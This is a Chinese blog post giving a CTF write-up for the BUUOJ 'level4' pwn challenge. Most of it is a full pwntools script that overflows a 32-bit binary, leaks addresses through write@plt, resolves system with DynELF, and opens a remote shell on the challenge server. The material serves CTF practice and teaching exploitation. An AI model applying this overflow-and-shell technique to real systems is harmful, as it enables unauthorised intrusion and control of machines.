buuoj return 2 DynELF level4

「已注销」

于 2020-04-29 22:03:41 发布

阅读量141

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/pondzhang/article/details/105849923

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文详细介绍了一种针对Level4程序的远程溢出攻击技术，通过利用write和read函数的plt地址，泄露内存地址并调用system函数，最终实现远程shell的获取。文章展示了完整的payload构造过程和DynELF动态链接库解析方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

from pwn import *
#p = process('./level4')
p = remote("node3.buuoj.cn", 27510)

elf = ELF('./level4')

pltwrite = 0x08048340
gotwrite = 0x0804A018
pltread = 0x08048310
bss_addr = 0x0804A024
start = 0x08048350


def leak(address):
    payload = 'a' * 140 + p32(pltwrite) + p32(start) + \
        p32(1) + p32(address) + p32(4)
    p.sendline(payload)
    leakaddress = p.recv(4)
    return leakaddress

d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')

payload = 'a' * 140 + p32(pltread) + p32(start) + \
    p32(0) + p32(bss_addr) + p32(8)
p.send(payload)
p.send("/bin/sh\0")

payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.sendline(payload)
p.interactive()